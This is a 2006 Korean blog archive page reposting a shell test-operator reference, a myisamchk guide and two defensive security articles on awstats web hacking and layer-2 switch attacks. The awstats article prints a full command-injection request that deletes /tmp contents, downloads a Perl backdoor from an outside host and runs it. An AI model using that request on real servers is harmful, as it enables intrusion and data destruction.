RSS구독하기:SUBSCRIBE TO RSS FEED
즐겨찾기추가:ADD FAVORITE
글쓰기:POST
관리자:ADMINISTRATOR
'2006/09'에 해당되는 글 206
출처 카페 > 컴시스템 / ykc1111
원본 http://cafe.naver.com/comsystem1111/244

shell에서 if문에서 쓰이는것들..

유닉스를 잘 안써서 잘몰랐었다..

if [ -r "$CATALINA_HOME"/bin/setclasspath.sh ]; then
  BASEDIR="$CATALINA_HOME"
  . "$CATALINA_HOME"/bin/setclasspath.sh
fi


요런걸쓸때 -r이 몰까 모르겠어서 찾아보았다 아래와 같다고 한다..

유닉스쉘을 지금은쓸기회가 없어서 그다지 -_- 필요없어보이긴하나 알고있으면 뭐~ 쓸모있을지도 몰라서 copy해 보았다..


-b 파일 : 파일이 블럭 장치 파일이면 참
-c 파일 : 파일이 문자 장치 파일이면 참
-d 파일 : 파일이 디렉토리이면 참
-e 파일 : 파일이 존재하면 참
-f 파일 : 파일이 정규 파일이면 참
-L 파일 : 파일이 심볼릭 링크이면 참
-p 파일 : 파일이 네임드(named) 파이프이면 참
-S 파일 : 파일이 소켓이면 참
-r 파일 : 파일이 읽기 가능이면 참
-s 파일 : 파일의 크기가 0보다 크면 참
-w 파일 : 파일이 쓰기 가능이면 참
-x 파일 : 파일이 실행 가능이면 참
파일1 -nt 파일2 : 파일1이 파일2보다 새로운 파일이면 참
파일1 -ot 파일2 : 파일1이 파일2보다 오래된 파일이면 참
파일1 -ef 파일2 : 파일1과 파일2가 같은 파일이면 참

문자열식은 문자열에 대한 비교를 한다.

-z 문자열 : 문자열의 길이가 0이면 참
-n 문자열 : 문자일의 길이가 0이 아니면 참
문자열1 = 문자열2 : 문자열1과 문자열2가 같으면 참
문자열1  != 문자열2 : 문자열1과 문자열2가 다르면 참

-h filename
               True if filename exists and is a  symbolic  link.
               With  all  other primitives (except -L filename),
               the symbolic links are followed by default.



문자열 비교
[ string ] - string이 빈 문자열이 아니라면 참
[ string1 = string2 ] - 두 문자열이 같다면 참
[ string1 != string2 ] - 두 문자열이 다르면 참
[ -n string ] - 문자열이 null(빈 문자열) 이 아니라면 참
[ -z string ] - 문자열이 null(빈 문자열) 이라면 참


산술 비교
`[ expr1 -eq expr2 ]` - 두 표현식 값이 같다면 참 ('EQual')
`[ expr1 -ne expr2 ]` - 두 표현식 갑이 같지 않다면 참 ('Not Equal')
[ expr1 -gt expr2 ] - `expr1 > expr2` 이면 참 ('Greater Then')
[ expr1 -ge expr2 ] - `expr1 >= expr2` 이면 참 ('Greater Equal')
[ expr1 -lt expr2 ] - `expr1 < expr2` 이면 참 ('Less Then')
[ expr1 -le expr2 ] - `expr1 <= expr2` 이면 참 ('Less Equal')
[ ! expr ] - expr 이 참이면 거짓, 거짓이면 참
[ expr1 -a expr2 ] - expr1 AND expr2 의 결과 (둘다 참이면 참, 'And')
[ expr1 -o expr2 ] - expr1 OR expr2 의 결과 (둘중 하나만 참이면 참, 'Or')


파일 조건
[ -b FILE ] - FILE 이 블럭 디바이스 이면 참
[ -c FILE ] - FILE 이 문자 디바이스 이면 참.
[ -d FILE ] - FILE 이 디렉토리이면 참
[ -e FILE ] - FILE 이 존재하면 참
[ -f FILE ] - FILE 이 존재하고 정규파일이면 참
[ -g FILE ] - FILE 이 set-group-id 파일이면 참
[ -h FILE ] - FILE 이 심볼릭 링크이면 참
[ -L FILE ] - FILE 이 심볼릭 링크이면 참
[ -k FILE ] - FILE 이 Sticky bit 가 셋팅되어 있으면 참
[ -p FILE ] - True if file is a named pipe.
[ -r FILE ] - 현재 사용자가 읽을 수 있는 파일이면 참
[ -s FILE ] - 파일이 비어있지 않으면 참
[ -S FILE ] - 소켓 디바이스이면 참
[ -t FD ] - FD 가 열려진 터미널이면 참
[ -u FILE ] - FILE 이 set-user-id 파일이면 참
[ -w FILE ] - 현재 사용자가 쓸 수 있는 파일(writable file) 이면 참
[ -x FILE ] - 현재사용자가 실행할 수 있는 파일(Executable file) 이면 참
[ -O FILE ] - FILE 의 소유자가 현재 사용자이면 참
[ -G FILE ] - FILE 의 그룹이 현재 사용자의 그룹과 같으면 참
[ FILE1 -nt F - : FILE1이 FILE2 보다 새로운 파일이면 ( 최근파일이면 ) 참
[ FILE1 -ot F - : FILE1이 FILE2 보다 오래된 파일이면 참
[ FILE1 -ef F - : FILE1 이 FILE2의 하드링크 파일이면 참

2006/09/08 15:57 2006/09/08 15:57
이 글에는 트랙백을 보낼 수 없습니다
출처 블로그 > 까비모님의 블로그
원본 http://blog.naver.com/kabimo/50001690161
최근 웹 애플리케이션의 취약성을 이용한 웹 해킹이 기승을 부리고 있다.
다음은 대표적인 웹 로그 분석 프로그램인 'awstats'의 취약성을 이용한 공격 사례다.

홍석범 | 오늘과 내일 과장

이는 GET 메소드로 해당 사이트에 특정 옵션을 주면 바로 시스템 명령어를 실행할 수 있다는 점을 이용한 것으로, 먼저 /tmp 디렉토리로 이동한 뒤 특정 사이트에서 백도어 파일을 다운로드하고 perl을 실행한다는 것을 알 수 있다. 이 때 awstats.pl에 SUID(Set User ID) 가 설정되지 않으면 웹 서버 권한으로 실행돼 nobody로 작동할 것이다.

GET
http://www.domain.com/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%
20;rm%20-rf%20a.pl*;echo| HTTP/1.1


이상과 같은 웹 해킹 후에는 몇 가지 뚜렷한 현상이 나타나는데, 우선 스팸이나, 피싱 등 대량의 스팸 메일을 발송하는 경우다. 릴레이가 허용된 메일 서버가 많이 사라지고 각종 안티 스팸 정책들이 설정되면서 스패머들이 설 자리가 없어지다 보니 자연스럽게 해킹을 통해 스팸을 발송하는 경우가 증가하고 있다. 스패머들은 웹 해킹으로 nobody 등 웹 서버 실행 권한을 획득한 후 wget이나 curl, lynx 등의 시스템 명령어를 통해 서버에 메일 발송 프로그램 등 각종 백도어 파일을 다운로드하고 실행한다. 이로 인해 시스템에 과부하가 일어나 정상적으로 운영되던 서버가 하루 아침에 각종 RBL에 스팸 발송 리스트에 등록되는 경우가 생긴다.
자신의 서버가 RBL에 등록됐는지 여부는 다음의 질문을 통해 확인하면 된다.


http://www.dnsstuff.com/tools/ip4r.ch?ip                  =211.47.xx.xxx


다음은 PS를 사용할 경우 실제 스팸을 발송할 때 보이는 관련 프로세스로, 웹 서버 실행 권한인 nobody를 통해 perl을 이용해 메일을 발송하고 있음을 알 수 있다.

nobody   25619  0.0  0.0   02:14   0:00 sh -c perl sendeb.pl


두 번째는 일종의 DoS 공격인 UDP 플루딩 공격을 하는 경우다. TCP나 ICMP보다 UDP를 이용할 경우 보다 효과적이기 때문에 거의 대부분 UDP를 사용하게 된다.
이 역시 nobody 권한을 획득 후 wget 등으로 대량의 패킷을 생성할 수 있는 공격 파일을 다운로드 해 특정 네트워크나 서버로 공격하는 것이다. 이런 경우 대량의 패킷 트래픽을 유발해 네트워크 장비가 패킷 전송을 제대로 하지 못해 up&down을 반복하면서 네트워크 장애가 발생한다. 물론 일부 공격 형태에 따라서는 bps(bits per second)가 동반 상승하는 경우도 있지만, bps보다는 pps가 더욱 중요하다.
실제 테스트를 해 보면 특정 코드의 경우 10만 pps 이상 유발되며, 이 정도면 저사양 라우터 등 3계층 이상 장비들(4계층 스위치, 파이어월, 7계층 장비 등)은 최대 용량 초과로 다운된다. 네트워크 장비의 경우 pps는 SNMP를 이용한 MRTG로, 리눅스의 경우 IPtraf를 이용하면 즉시 측정할 수 있다.
(화면 3)는 MRTG로 pps를 측정한 것인데, 오전 4시경부터 평소의 1만 pps에서 96만 pps까지 상승한 것을 알 수 있다.  
 
화면 3 | MRTG로 측정한 pps

IPtraf는 홈페이지(http://iptraf.seul.org)에서 다운로드할 수 있으며, 프로그램을 실행한 뒤 'Detailed interface statistics'를 선택해 측정할 인터페이스를 선정하면 해당 인터페이스를 통과하는 패킷의 bps와 pps를 실시간으로 확인할 수 있다. 다음은 실제 대량의 pps를 유발하는 DoS 공격툴을 실행할 때 캡처된 수치로, 단방향으로 10만 pps 이상의 프래픽이 유발되는 것을 알 수 있다. 

화면 4 | IPtraf를 실행하여 pps를 모니터링 하는 화면


최근 들어 곳곳에서 확인되는 위협적인 Dos 공격에 어떻게 대응해야 할까. 다음과 같은 방법을 그 해결책으로 꼽을 수 있다.

① wget, curl, lynx 등의 퍼미션을 700 등으로 제한하거나 삭제한다.
앞에서도 살펴본 바와 같이 취약성을 통해 시스템 명령어를 실행할 수 있는 상태가 되면 상위 권한 획득, 스팸 메일 발송 등을 위해 외부에서 다운로드를 위한 wget이나 curl,  lynx 등을 이용한다. 따라서 이 파일의 퍼미션을 차단하면 일반 사용자 권한으로 외부에서 악성코드의 다운로드가 어려워진다. 물론 wget 등을 차단해도 ftp를 이용하거나 게시판을 통한 파일 업로드 등을 이용할 수 있다.

② 웹 서버에서 특정 URI를 필터링하도록 한다.
앞에서 awstats의 공격 사례를 살펴본 것처럼 HTTP의 GET 메소드를 통해 공격할 경우 URI에 시스템 명령어 등 각종 공격 기법이 그대로 노출된다. 따라서 URI에 보이는 명령어를 필터링하면 되는데, 아파치 웹 서버의 경우 자체적으로 URI 필터링 기능을 제공하지 않으므로 별도의 Rewrite나 ModSecurity 모듈을 이용한다.

③ IPtables를 이용해 패킷을 차단한다.
아웃바운드 UDP 트래픽이 문제가 되는 것이므로 IPtables를 이용해 차단하는 방법도 고려할 수 있다. 상태 추적을 이용하면 해당 트래픽만 차단할 수 있는데, 일반적으로 정상적인 UDP 트래픽은 DNS 외에는 없으므로 DNS만 고려해 실행하면 된다.
다음은 아웃바운드 트래픽 중 목적지 IP가 168.126.63.1이면서 목적지 포트가 53번이 아닌 UDP 트래픽을 차단하는 과정이다. 만약 참조하는 DNS 서버가 168.126.63.1이 아니면 적절한 IP를 지정하면 된다.
 
  # iptables -A OUTPUT -p udp ! -d 168.126.63.1 --dport 53
       -m state --state NEW -j DROP

이 명령어는 상태추적에서 처음 보이는 아웃바운드 UDP 트래픽 중 목적지 IP가  168.126.63.1이고, 목적지 포트가 53번인 패킷은 제외하고 차단한다는 것이다. 만약 자체적으로 resolvong DNS 서버를 운영해 임의의 도메인에 대한 룩업 서비스를 제공한다면 모든 DNS 서버로 질의를 할 수 있다. 이 경우에는 목적지 IP를 0/0으로 변경하면 된다.

최근 해킹 양상이 단순한 흥미와 영웅심리가 아닌 상업적으로 악용되면서 두 번째 Dos 공격의 경우가 자주 확인되고 있으므로, 궁극적으로는 일반 사용자 권한을 빼앗기지 않도록 보안을 강화하는 것이 더욱 중요할 것이다.

2006/09/08 15:56 2006/09/08 15:56
이 글에는 트랙백을 보낼 수 없습니다
myisamchk 이란?

- DB 테이블에대한 오류 검사 및 오류 복구 유틸리티 이다
- 버전 3.22.x : isamchk 유틸리티 사용
         3.23.x : myisamchk 유틸리티 사용

[ myisamchk 사용전 주의사항 ]

- mysql 데몬을 stop 시킨후 이 유틸리티를 사용해야함.
- mysql 데몬을 중지시킬수 없는 사항이라면 검사할 테이블에대한 rock을 걸고
   검사를 수행하여야만 검사도중에 발생할수있는 오류를 막을수있다.
- 모든작업을 항상 백업을 한후 작성을 수행하는것이 좋을것이다.

[ myisamchk 사용법 및 옵션 ]

- 해당 테이블이있는 디렉토리로 이동 ( 보통  /usr/local/mysql/var 밑에 위치함 )


1.일반적인 검사

# myisamchk  [table 명]
예)  
Checking MyISAM file: zz_news.MYI
Data records:       0   Deleted blocks:       0
- check file-size
- check key delete-chain
- check record delete-chain
- check index reference
- check data record references index: 1
- check data record references index: 2
- check record links
   ==>  에러메시지가 없으면 테이블에 오류가 없다는것이다.

2. 옵션
 
  # myisamchk -s,--silent [table 명]
     -> 에러만 출력
     
  # myisamchk -v,--verbose [table 명]
   ->  -s 옵션보다 많은 정보를 출력

  # myisamchk -V
  ->    myisamchk 버젼을 표시

3. 체크 옵션  
     
  # myisamchk -c,--check [table 명]
  ->  테이블의 에러를 check 함

  # myisamchk -e,--extend-check [table 명]
   테이블을 좀더 세밀하게 check 함, 일반적인 방법으로 error를 찾을수없을  경우 사용

  # myisamchk -F,--fast [table 명]
->    빠른게 테이블 check 한다.정교한 체크는 하지않느다.
 
  # myisamchk -C,--check-only-changed [table 명]
->     테이블을 check 하고,테이블을 check 이후의 상태로 변경한다.

  # myisamchk -f,--force [table 명]
->    테이블에 error에 있을경우 강재로 check 한다.

  # myisamchk -i,--information [table 명]
->    check한 결과의 정보를 통계화하여 보여준다.
    예)
   Checking MyISAM file: zz_news.MYI
   Data records:       0   Deleted blocks:       0
   - check file-size
   - check key delete-chain
   - check record delete-chain
   - check index reference
   - check data record references index: 1
   - check data record references index: 2
   - check record links
   Record blocks:           0    Delete blocks:         0
   Record data:             0    Deleted data:          0
   Lost space:              0    Linkdata:              0

   User time 0.01, System time 0.00
   Maximum resident set size 0, Integral resident set size 0
   Non-physical pagefaults 26, Physical pagefaults 186, Swaps 0
   Blocks in 0 out 0, Messages in 0 out 0, Signals 0
   Voluntary context switches 0, Involuntary context switches 0


  #myisamchk -m,--medium-check [table 명]
->  extend-check 옵션보다 check 속도가빠르며,99.9 % 의 에러을 찾을수있다.

4.Repair 옵션  
 
   #myisamchk -o -B,--backup [table 명]
  ->    MYD파일을 백업한다. 형식은 [filename-time.BAK]의 파일이 생긴다.
   
   # myisamchk -e,--extend-check [table 명]
->    세부적인 파일까지 복구를해준다.일반적으로 아주 하찮은 에러까지 찾을수
   있다.하지만 자포자기의 상태가 아니고서는 이옵션을 사용하지 않는게 좋다.
 
   # myisamchk -f,-force [table 명]
->     이전것의 temporary file을 덥어쒸운다.

   # myisamchk -l,--no-symlinks [table 명]
->     심복릭 링크를 따르지않겠다는 옵션이다. 일반적으로 myisamchk 는symlink  points를 복구한다.

   # myisamchk -r,--recover [table 명]
->     unique key를 제외한 대부분를 복구한다.

   # myisamchk -n,--sort-recover [table 명]
->     sorting하면서 테이블을 복구한다. 심지어 temporary 파일과 같은 아주 큰
    파일역시 sorting하면서 복구한다.

  # myisamchk -o,--safe-recover [table 명]
->     -r 옵션보다 느리게 복구한다.그러나 좀더 섬세한 복구를 지원한다.

   # myisamchk -q,--quick [table 명]
->     테이터 파일의 수정없이 복구한다.

5. 기타 옵션
   # myisamchk -d,--description [table 명]
->     테이블에 대한 정보를 출력한다.

   # myisamchk -S,--sort-index [table 명]
->     index 블록을 sort한다.

   # myisamchk -R[index번호],--sort-records [table 명]
->     index 번호를 기준으로 인덱스를 정렬해준다.

     
 
6.검사중 아래의 메시지가출력되면 해당테이블을 사용중이라는 의미이므로 테이블에 LOCK을 걸든가 데몬을 죽이고 나서 검사 및 복구를해야함.

    myisamchk: warning: 1 clients is using or hasn''t closed the table  
    properly

7. LOCK 걸기
     
    myisamchk 는 테이블에대한 read 만 할수있으면 되기때문데 read 를 제외한
    모든것에 lock을 걸면된다.
     
    mysql> lock tables [table 명] READ ;
    mysql> flush tables ;

    flush tables 는 mysql이 테이블의 내용을 메모리에만 보관하고 실제 테이
    블파일에 기록을하지 않았을경우 실제 테이블파일에 기록하라는 의미이다
   
8.LOCK 풀기

    mysql> unlock talbe;

9.Myisamchk 로 복구를 위한 LOCK 걸기
   
   서비스를 죽이지않고 복구를 해야할경우는 write lock를 걸어주면된다.
   복구는 write 를 해야하기때문에 write lock를 걸어줘야한다.
   
   mysql>lock tables [table명] write;
   mysql>flush tables;

10.LOCK 풀기
 
   mysql> unlock table;
2006/09/08 15:56 2006/09/08 15:56
이 글에는 트랙백을 보낼 수 없습니다

스위치 계층(L2)은 건축물의 기둥에 해당하는 부분으로 입구경비와 외관 등을 완벽하게 지키더라도 기둥이 무너지면 아무런 의미가 없는 것처럼, 스위치에 연결된 각종 호스트 및 서버의 안정적인 운영을 위해 스위치 계층의 보안은 고려해야 한다. 단 스위치 계층의 특성상 해당 네트워크에 연결돼야만 공격이 가능하므로, 물리적 보안과 관리적 보안의 중요성도 잊지 말아야 할 것이다.


VLAN 공격

VLAN(Virtual LAN)은 스위치의 물리적인 네트워크를 네트워크 관리자가 필요에 따라 좀 더 작은 논리적인 네트워크로 분리하는 것을 의미한다. 1대의 물리적인 스위치를 논리적으로 분리한다는 것은 포트기반, 프로토콜 기반, 서브넷 기반으로 분리할 수 있으며, 벤더에 따라 지원하는 기준은 상이하다. <그림 1>은 포트 기반 VLAN을 구성한 예로, VLAN 1과 VLAN 2의 호스트간에는 통신이 되지 않는다.

VLAN으로 분리한 구성에도 필요상 모든 VLAN이 교집합처럼 공통적으로 액세스가 가능해야 할 포트가 요구될 때도 있다. <그림 1>에서 만약 모든 호스트가 인터넷을 접속해야 하며, 인터넷망과 연결된 라우터가 1대라면 라우터는 어느 포트에 연결을 해야 할까?



<그림1> 정상적인 MAC 테이블 동작



VLAN 1과 VLAN 2가 동시에 액세스할 수 있는 포트가 필요하다. 이러한 포트를 트렁크(Trunk) 포트라고 하며, 트렁크 포트는 여러 개의 VLAN을 중복할 수 있다. 트렁크 설정은 IEEE 802.1Q 또는 시스코의 ISL(Inter-Switch Link) 방식으로 패킷을 변조하는데, 기술적인 용어로는 태깅(tagging)한다고 하며, ISL의 경우 시스코에서만 사용되는 고유한 방식이다. 801.1Q 태깅은 정상적인 패킷 내에 801.1Q 태그 정보가 삽입되게 된다.

보안 위협

① 베이직 VLAN 호핑 공격

이 공격은 네트워크 공격의 일종으로, 정상적인 경우 서로 다른 VLAN 내의 호스트간에는 통신을 하지 못하므로 공격자 역시 통신이 불가능하지만 공격자는 가능하도록 한다. 공격자 자신이 스위치처럼 위장하고, 변조된 ISL 혹은 802.1Q의 패킷을 스위치로 전송해 스위치와 트렁크 포트로 연결됨으로써 VLAN과 관계없이 모든 네트워크로 접속할 수 있다.

공격이 성공한 이유는 공격자와 연결된 스위치에서 트렁크 포트 설정이 관리자가 설정하는 방법 이외에 스위치가 자동적으로 설정하는 DTP 기능이 자동(AUTO)으로 설정되어 공격자가 요청한 트렁크 설정에 스위치가 트렁크 포트로 설정한 것이다.

대부분의 스위치의 DTP기능이 자동으로 초기설정돼 있으며, 이것은 어떤 트렁크 포트의 설정 요청에도 트렁크 포트를 허용한다는 기능이므로 주의해야 한다.

② 더블 인캡슐레이티드 VLAN 호핑 공격

간단히 정리하면, 공격자는 원하는 VLAN으로 접속하기 위한 트렁크 포트가 되기 위해 802.1Q의 패킷 변조를 2번하여 스위치를 공격하는 것이다. 스위치는 첫 802.1Q를 한 번 사용하고 다시 다른 스위치에서 두 번째 802.1Q를 사용하는 방식으로 802.1Q 패킷 변조가 2번이 되었음에도 불구하고, 스위치에서는 한 번만을 해석한다는 기능적인 취약점을 이용해 호핑(hopping)의 의미대로 깡총깡총 VLAN을 넘어다닌다.



<그림3> 더블 인캡슐레이티드 VLAN 호핑 공격 사례



<그림 3>은 공격자가 첫 번째 스위치와 두 번째 스위치에서 802.1Q 정보를 사용함으로써, 공격 대상으로의 접근이 가능하다. 이써리얼(Ethereal)이라는 패킷 스니핑 툴을 이용해 패킷을 정보를 분석해 보면 801.1Q 패킷변조가 2번 되어 있는 것을 확인할 수 있다.

보호 대책

우선 항상 모든 트렁크 포트에 대해서 일관적인 VLAN ID를 사용해야 한다. 즉 VLAN 구성 혹은 장비 설정시 즉흥적인 VLAN ID 할당이 아닌, 정책적이고 분류된 VLAN을 할당한다. 그 다음 사용하지 않는 포트는 꺼 놓은 후 사용하지 않는 VLAN으로 모두 포함시킨다. 여기에서 VLAN 1의 VLAN ID는 사용하지 않는다.

VLAN을 지원하는 장비들의 초기 설정은 모든 포트가 VLAN 1으로 설정돼, 구매 후 별다른 VLAN 설정을 하지 않으면 모든 포트가 VLAN 1에 포함되어 있으므로 일반 스위치와 동일하게 사용할 수 있다.

또한 벤더나 모델 구분 없이 모두 VLAN 1으로 초기설정돼 있으므로, VLAN을 지원하는 A사 제품과 B사 제품 구매 후에도 별다른 설정이 없으면 두 스위치끼리 트래픽이 전송된다. 만약 벤더마다 VLAN 초기설정이 각각 다르다면, 장비 설정을 변경하기 전에는 스위치간 트래픽 전송이 불가능한 사태를 예방하기 위함이다.

마지막으로 일반 호스트(사용자)가 접속하는 포트들은 모두 논-트렁킹(DTP Off)으로 설정해야 한다. 일반 호스트와 연결된 포트가 트렁크 포트로 사용될 일은 극히 희박하므로, 트렁크 포트 변경될 수 없도록 한다.


DHCP 고갈

DHCP(Dynamic Host Configuration Protocol)란 호스트 등의 IP설정 시 사용자가 고정적으로 IP를 할당하지 않고 DHCP 서버에서 제공하는 IP, 서브넷 마스크, 게이트웨이와 DNS 등의 정보를 자동으로 할당받을 수 있는 기능이다. 이것은 수많은 호스트가 존재하는 네트워크 구성에서 관리자의 IP 관리의 효율성을 가져다 줄 수 있는 기능이지만 보안관점에서는 불합리한 점들이 있다.

보안 위협

DHCP 고갈(starvation) 공격은 위조된 MAC 주소로 포함해 DHCP 리퀘스트(request) 패킷을 브로드캐스트한다. 만약 리퀘스트가 충분히 많다면 공격자는 DHCP의 할당 가능한 모든 주소들을 소비시킬 수 있으며, 이것은 SYN 플루드(flood)와 같은 간단한 자원 고갈(resource starvation) 공격이라고 할 수 있다.

이후 공격자는 DHCP 서버로 위장해 사용자들에게 DHCP 주소를 할당하지만, 할당하는 주소에는 잘못된 DNS, 게이트웨이 등의 정보를 포함하고 있으므로 사용자는 위조된 주소 정보로 데이터를 전송한다. 정상적인 네트워크 경로가 아닌 공격자에게 트래픽 전송으로 인한 여러 가지 문제점이 발생한다.

보안 대책

각 포트에서의 사용할 수 있는 MAC 주소를 제한함으로써 CAM 플루딩 공격을 방지하기 위한 방법과 마찬가지로 DHCP 고갈의 대책으로 사용할 수 있으나, 위장된 DHCP 서버를 통한 공격은 차단하지 못한다. 위장된 DHCP 서버를 이용한 공격을 차단하기 위해 RFC 3118의 ‘Authentication for DHCP Messages’에서 DHCP 메시지의 인증 방법을 이용하기도 했지만, 마침내 DHCP 옵션 82에서 근본적인 대책을 마련했다. DHCP 고갈 공격 가능성을 최소화하기 위해서는 네트워크 내의 안전한 네트워트 지역내에 여러 대의 DHCP 서버를 구성하는 것도 고려해 볼만 하다.


사설 VLAN 공격

사설(Private) VLAN의 핵심적인 기능은 같은 IP 서브넷 상의 시스템간 통신을 제한하기 위해 사용한다. 사설 VLAN에 포함된 포트들의 설정은 네트워크 구성을 고려해 트래픽 전송여부에 따라 결정된다.

시스코의 경우 아이솔레이티드(isolated) 포트는 오직 프로미스큐어스(promiscuous) 포트와 통신이 가능하지만, 아이솔레이티드 포트간에는 통신이 차단된다. 공격자가 아이솔레이티드에 속해 있다면, 다른 아이솔레이티드 포트에 속해 있는 호트스를 공격하기 위해서는 사설 VLAN에 의해 차단되지 않아야 하므로, 사설 VLAN의 보안정책을 위배하는 공격을 시도한다.

보안 위협

공격자는 공격 대상 호스트에게 접근하려고 하지만, 사설 VLAN 정책에 서로 다른 아이솔레이티드 포트에 위치하고 있으므로 불가능하다.



<그림4> 사설 VLAN 공격 사례



공격자는 패킷을 위조해 라우터의 MAC 주소를 목적지로 하고 IP 주소는 공격 대상 주소로 하는 변조된 패킷을 전송한다(목적지 MAC:목적지 주소=C:2). 위조된 패킷을 수신한 스위치는 목적지 MAC 주소가 라우터이고, 라우터는 프로미스큐어스 포트에 연결돼 있으므로 스위치는 라우터로 공격자가 전송한 패킷을 전달한다(사설 VLAN의 정책에 위배되지 않음). 즉 스위치는 MAC 주소만을 보고 라우터로 전송한 것이다.

패킷을 수신한 라우터는 IP 주소가 라우터 자신이 아닌 공격대상 호스트의 IP이므로, 목적지를 공격대상 호스트의 정상적인 MAC 주소로 변경(목적지 MAC:목적지 주소=C:2 → B:2 로 변경)해 스위치로 재 전송한다. 즉 라우터는 IP만을 보고 재 전송한 것이다.

스위치는 라우터가 재전송한 패킷의 목적지의 MAC 주소가 공격 대상의 MAC 주소이므로 공격대상으로 전달한다. 결국 공격자는 스위치→라우터→스위치→공격 대상의 경로로 사설 VLAN 정책이 무의미하도록 통신을 하고 있다.

보안 대책

공격이 가능한 이유는 공격자의 위조된 패킷이 라우터로 접속이 가능했기 때문이므로, 라우터의 인터페이스에 ACL(Access Control List)을 설정해 차단해야 한다. ACL은 스위치와 연결된 인터페이스로 유입되는 IP 프로토콜 중 출발지, 목적지가 모두 내부 네트워크인 트래픽을 차단하도록 설정한다. 출발지와 목적지가 내부 네트워크인 트래픽은 라우터까지 전송되지 않고 스위치에서 전송할 수 있으므로, 라우터까지 도달할 필요가 없기 때문이다. 이러한 ACL 설정으로 공격자의 위조된 패킷이 스위치에서 라우터에 도달할 경우 차단된다.


스위치 액세스

장비 관리, 설정과 모니터링 등을 위해 스위치에는 IP를 할당하며 텔넷, http 등의 접속으로 직접 장비로 접속할 수 있다. 불법적인 접속을 차단하기 위해 계정 및 패스워드 인증으로 권한에 따라 모니터링 혹은 설정 변경이 가능하다. 물론 벤더마다 상이하지만, 공통적인 것은 인증절차를 제공하고 있다는 것이다. 보통 장비 구매 후 운영 네트워크에 설치할 때, 다음과 같은 과오를 자주 범한다.

  • 패스워드를 설정하지 않는다.
  • 패스워드는 간단한 것을 사용한다.
  • 장비 초기 설정된 패스워드를 그대로 사용한다.
  • 사용에 아무런 문제가 없으므로 초기 설정으로 그대로 사용한다.
  • 장비 설정시 정상적으로 동작하면 더 이상의 설정은 하지 않으며, 제공 기능들에 대해 고민하지 않는다.



보안 위협

공격자는 스위치의 IP정보, 벤더 및 장비명, 벤더별 장비의 초기 패스워드 정보 등을 쉽게 파악할 수 있으므로, 위와 같은 스위치 운영환경에서는 쉽게 장비로 로그인할 수 있다. 공격자가 장비로 직접 접속할 수 있다는 것은 매우 위험한 일이다.

그 순간부터 공격자는 전지전능한 신이 되어 장비 설정 변경, 운영 펌웨어 삭제, 설정 내용 삭제, 설정 내용 백업, 특정 포트의 셧다운과 인에이블(enable) 반복, 리부팅 등 무수한 일을 할 수 있다. 장비에서 제공하는 모든 기능들을 검토하고 실습할 것이다.

보안 대책

레이어 2 계층의 스위치는 백본 스위치처럼 고성능의 고가의 장비가 아니므로 소홀한 경향이 현실인 것만은 분명하다. 그러나 스위치의 보안강화는 스위치와 연결된 모든 호스트 및 서버들의 정상적인 운영을 위한 기초가 되므로 다음과 같은 보안대책으로 안전한 스위치 운영의 토대를 마련해 보자.

  • 스위치의 패스워드는 중요 서버의 부트(root) 패스워드와 같은 수준으로 설정한다.
  • 패스워드 인증 이외에 계정입력 기능이 제공되면 활용하도록 한다.
  • 장비의 초기설정 계정 및 패스워드는 반드시 삭제 혹은 변경한다.
  • ACL을 활용한 접근제어를 설정한다. 관리자의 호스트 주소, 혹은 네트워크 대역만이 접속할 수 있도록 한다.
  • SNMP(Single Network Management Protocol) 기능을 사용하지 않을 경우 삭제하고, NMS(Network Management System)를 통한 관리를 하고자 할 경우 SNMP 커뮤니티를 패스워드 정책에 준하는 수준으로 변경한다. 공격자는 SNMP 커뮤니티만을 파악함으로써 90% 이상의 하드웨어 정보와 운영정보를 얻을 수 있다.
  • SSH, SSL 등 암호화된 프로토콜을 이용한 장비접속을 구현한다. 물론 장비의 지원여부를 확인해야 한다. 일반적인 텔넷 혹은 http의 경우 네트워크 스니핑으로 패스워드 등의 주요 정보가 노출될 수 있다.
  • 장비의 로깅 기능을 활용한다. 로그서버로의 전송을 설정하고 주기적인 로그분석으로 운영상태 점검 및 침해사고 대응의 기초자료로 활용한다.

스위치 계층(L2)의 공격은 장비 공격과 트래픽 흐름을 변경하는 네트워크 공격으로 크게 분류할 수 있다. 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 스위치 계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다. 이번 호에는 네트워크 공격에 해당되는 MAC 플루딩, ARP 스푸핑, 스패닝 트리 공격의 원리와 위협, 대책을 살펴본다.


MAC 플루딩

스위치의 지능적인 기능 중의 하나인 MAC 정보의 저장은 허브와 같은 공유된 이더넷 방식의 문제점을 해결하고 고성능을 제공하는 획기적인 기능이었지만, 스위치 역시 하드웨어이므로 저장할 수 있는 물리적 공간의 제약으로 저장 가능한 최대 MAC 주소가 제한된다. MAC 플루딩(Flooding) 공격은 이러한 점을 이용해 스니핑이 가능하도록 하는 공격 방법이다. 우선 정상적인 MAC 테이블의 동작을 살펴보자.



<그림1> 정상적인 MAC 테이블 동작



<그림 1>을 보면 현재 스위치에 저장된 MAC 정보는 포트 1과 3에 MAC A, C를 파악하고 있다. MAC A가 B와 통신하기 위해서 데이터를 전송하면, 스위치는 MAC B에 대한 저장된 정보가 없으므로, 플루딩을 실시한다. 플루딩이란 스위치가 MAC B에 대한 정보가 없어 허브의 동작과 동일하게 포트에 연결된 모든 호스트로 데이터들을 전송하는 것을 말한다. 스위치와 연결된 모든 호스트들은 MAC A가 전송한 데이터를 수신하며, 자신의 MAC 주소가 아닌 호스트들은 데이터를 폐기하지만, MAC B 호스트는 MAC A로 데이터를 전송한다. MAC B가 MAC A로 데이터를 전송하면, 스위치는 MAC B가 포트 2번에 연결되어 있음을 파악하고 MAC정보와 포트정보를 저장한다. 다시 MAC A가 MAC B와 통신을 할 경우 스위치는 저장된 MAC 정보를 이용해 플루딩하지 않고 바로 포트 2를 통해 MAC B로 전송하므로 MAC C에는 데이터가 전송되지 않는다.

개요

